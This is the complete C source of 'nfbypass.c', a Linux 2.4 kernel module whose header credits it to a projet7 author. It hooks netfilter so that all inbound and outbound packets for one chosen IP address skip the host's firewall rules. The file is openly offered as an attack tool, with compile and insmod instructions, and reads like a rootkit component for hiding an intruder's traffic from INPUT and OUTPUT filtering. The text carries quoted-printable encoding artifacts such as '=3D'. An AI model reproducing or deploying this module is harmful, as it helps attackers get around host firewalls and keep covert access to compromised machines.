/********************************************************\
 * nfbypass.c                                           *
 * By truff (truff@projet7.org)                         *
 *                                                      *
 * Linux 2.4.x lkm to bypass netfilter INPUT and        *
 * OUTPUT rulez                                         *
 *                                                      *
 * Compil: gcc -O2 -c nfbypass.c                        *
 * Usage : insmod nfbypass.o my_ip=3D"xxx.xxx.xxx.xxx"    *
 *                                                      *
 * Greetz to #root people and projet7 members @#!%      *
 *                                                      *
 *   www.projet7.org           - Security Researchs -   *
\********************************************************/

#define MODULE
#define __KERNEL__


#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netfilter_ipv4/ip_tables.h>


u_int32_t my_inet_addr (u_char *address);


static u_char *my_ip =3D NULL;
static u_int32_t my_address;=20
MODULE_PARM (my_ip, "s");

static unsigned int my_hook (unsigned int hook,=20
    struct sk_buff **pskb,=20
    const struct net_device *indev,=20
    const struct net_device *outdev,=20
    int (*okfn)(struct sk_buff *))
{
  struct iphdr  *ip;

  ip =3D (struct iphdr *) ((*pskb)->nh.iph);
 =20
  if (((hook =3D=3D NF_IP_LOCAL_IN) && (ip->saddr =3D=3D my_address)) ||
      ((hook =3D=3D NF_IP_LOCAL_OUT)&& (ip->daddr =3D=3D my_address)))
  {
    /*
     * OK, we Jump over Netfilter :)
     */
    okfn (*pskb);
    return NF_STOLEN;
  }
  else=20
    return NF_ACCEPT;
}

static struct nf_hook_ops in_ops =3D {
  {NULL, NULL}, my_hook, PF_INET, 0, NF_IP_PRI_FILTER-1
};

static struct nf_hook_ops out_ops =3D {
  {NULL, NULL}, my_hook, PF_INET, 0, NF_IP_PRI_FILTER-1
};

int init_module (void)
{
  my_address =3D my_inet_addr (my_ip);
 =20
  in_ops.hooknum =3D NF_IP_LOCAL_IN;
  nf_register_hook (&in_ops);

  out_ops.hooknum =3D NF_IP_LOCAL_OUT;
  nf_register_hook (&out_ops);
 =20
  return 0;
}


void cleanup_module (void)
{
  nf_unregister_hook(&in_ops);
  nf_unregister_hook(&out_ops);
}


u_int32_t my_inet_addr (u_char *address)
{
  u_int32_t u1, u2, u3, u4;
  u_int32_t ip;
  char *ptr;

  if (address =3D=3D NULL)
    return -1;

  u1 =3D simple_strtoul (address, &ptr, 10);
  u2 =3D simple_strtoul (ptr+1, &ptr, 10);
  u3 =3D simple_strtoul (ptr+1, &ptr, 10);
  u4 =3D simple_strtoul (ptr+1, &ptr, 10);
 =20
  ip =3D u4<<24 | u3<<16 | u2<<8 | u1;

  return ip;
}


